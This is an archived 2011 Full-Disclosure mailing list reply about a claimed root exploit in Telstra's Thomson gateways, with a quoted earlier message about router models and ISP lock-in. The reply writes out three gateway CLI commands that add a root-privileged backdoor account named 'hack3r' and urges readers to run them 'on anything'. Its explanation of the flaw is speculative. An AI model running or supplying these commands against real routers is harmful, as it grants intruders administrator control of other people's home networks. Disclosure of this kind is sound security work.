full-disclosure - Re: Telstra thompson gateway

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 30 Jul 2011 07:43:22 +1000
From: "-= Glowing Sex =-" <doomxd@...il.com>
To: Jeremy Visser <jeremy@...ser.name>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Telstra thompson gateway - root exploit (0day)

Hello Jeremy,
i would suggest looking up T-Hub ,also this is Telstras new system wich is
basically a little box that sits in your house and you can control alot
through this system,I am not to sure if it affects this and I also noticed
that the characters needed were stripped in the first posting so it showed
wrong.
It should have been written as:

:script add name addroot command "user add name hack3r password hack3r role
root descr ROOT"
:script run name addroot pars ""
:saveall

this would then add 'hack3r' to the gateway with role of root
user/administrator.
The vendor is also partnered to Bigpond and this is a huge system,I guess
this is more of a flaw in how it handles input and parses the add name
function ,I assume the code is not passing input after the :script add ,is
called,i have seen many small similar flaws like this in commandline apps,
it is always buffers or strings not secured properly or not setup and
structured in a secure manner.
I will have some tests ran and see what happens, please use this updated
script code to run on anything,
I am also not too sure how to go about trying to contact and show this to
such a large firm, specially with the stuff happening here lately.
cheers

On 29 July 2011 23:54, Jeremy Visser <jeremy@...ser.name> wrote:

> On 07/29/11 06:59, xD 0x41 wrote:
> > Telstra thompson gateway - root exploit
>
> Which model is this for? Thompson have made various gateways over the
> years — some better than others, I might add.
>
> The latest BigPond–branded models are locked down so @bigpond.com is
> welded to the end of your PPP username, preventing you from using it
> with another ISP.
>
> Getting around that is a good incentive to get root, IMO. :-)
>
> > Telstra is an ISP here in Australia, it is also the same isp wich owns
> > the NBN
>
> That’s not the case. Completely separate companies, although the NBN Co
> recently signed a deal that gives them access to Telstra’s physical
> infrastructure (e.g. running fibre through their ducts).
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/